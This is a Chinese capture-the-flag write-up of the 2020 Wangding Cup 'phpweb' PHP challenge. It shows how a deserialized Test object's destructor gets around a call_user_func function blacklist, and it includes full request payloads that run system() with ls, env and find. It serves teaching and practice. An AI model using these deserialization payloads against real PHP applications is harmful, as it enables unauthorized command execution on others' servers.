[网鼎杯 2020 朱雀组]phpweb 详细题解(反序列化绕过命令执行)

知识点:

call_user_func() 函数
反序列化魔术方法
find命令查找flag
代码审计

打开题目,弹出上面的提示,是一个警告warning,而且页面每隔几秒就会刷新一次,根据warning中的信息以及信息中的时间一直在变,可以猜测是date()函数一直在被调用

查看源代码发现一些信息,但是作用不大

bp抓包查看一下

func=date&p=Y-m-d+h%3Ai%3As+a 那么就是调用了date()函数并回显在页面上,参数func是函数名,p是参数值

既然可以执行date函数,那么是不是也可以执行其他函数呢?

而且date()函数是不会自动输出结果的 ,既然显示了时间那么应该有echo 之类输出的操作,可以随便尝试php的函数根据输出的内容来验证是否有命令执行

抓包修改参数,用简单的小写转换函数来验证 func=strtolower&p=AB

看到回显了ab 确实可以执行函数并回显结果

所以用system()函数执行命令 func=system&p=ls 提示 Hacker... 被禁止了

把ls 改为123 还是hacker 参数不影响,说明应该是system函数被过滤了

想办法查看文件的源码,可以用查看或者读取文件的函数 例如:file_get_contents() highlight_file() show_source()都可以

输入 func=file_get_contents&p=index.php成功读取了index.php文件源码

代码审计:

php 复制代码
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

代码禁用了非常多的函数,常见的命令执行函数都被禁止了

代码中定义了一个函数gettime 和 一个类Test 先不看这两部分,先看最后的代码

接收func 和 p参数,把$func转换为小写,然后判断是否在列出的禁止函数数组里面,如果不在,就调用gettime()函数, 接着看gettime()函数

php 复制代码
function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }

call_user_func 是 PHP 中的一个内置函数,用于调用回调函数,call_user_func函数返回回调函数的结果。如果回调函数没有返回值,则 call_user_func 也不会有返回值

其中func 是回调函数名,p是传递给回调函数的参数,结果赋值给result 如果result类型为string,返回结果

这里不知道flag文件的名字以及路径,所以直接用file_get_contents()函数读取到flag文件的概率太低,所以解题关键是使用命令执行函数找到flag,需要绕过黑名单限制从而执行命令

观察代码发现Test类还没有用到, 对于Test类,代码中没有调用的操作,作用是赋值func 和 p 的值并且调用gettime()函数
注意类中的__destruct()函数,如果利用unserialize()函数反序列化一个Test类,在类里的参数中写入要执行的代码和函数,此时disable_fun不会匹配unserialize函数,就会执行gettime函数,调用call_user_func(func, p);执行反序列化操作 __destruct()函数会在反序列化函数执行完之后触发,再次触发gettime(this->func, this-\>p)函数,这时func和$p的值是之前类中赋值过的内容,不会被匹配,就可以绕过黑名单中命令执行函数的限制,这里没有禁止unserialize反序列化函数,刚好可以使用

php 复制代码
<?php
class Test{
    public $p="ls /";
    public $func="system";
}
$a=new Test();
echo serialize($a);
//结果: O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

传入func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

回显了根目录下的文件,但是没有发现flag文件,查看一下环境变量env

传入 func=unserialize&p=O:4:"Test":2:{s:1:"p";s:3:"env";s:4:"func";s:6:"system";}

发现not_flag 那么flag应该是藏在某个目录下,使用find命令查找flag

构造system("find / -name *flag*") 用find查找所有文件名包含flag的文件

复制代码
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}

发现 /tmp/flagoefiu4r93,相较于其他路径较长的文件 和 系统proc目录下的文件 更加可疑

查看该文件,得到flag

相关推荐
BingoGo21 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack21 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行4 天前
网络安全总结
安全·web安全
QQ5110082854 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php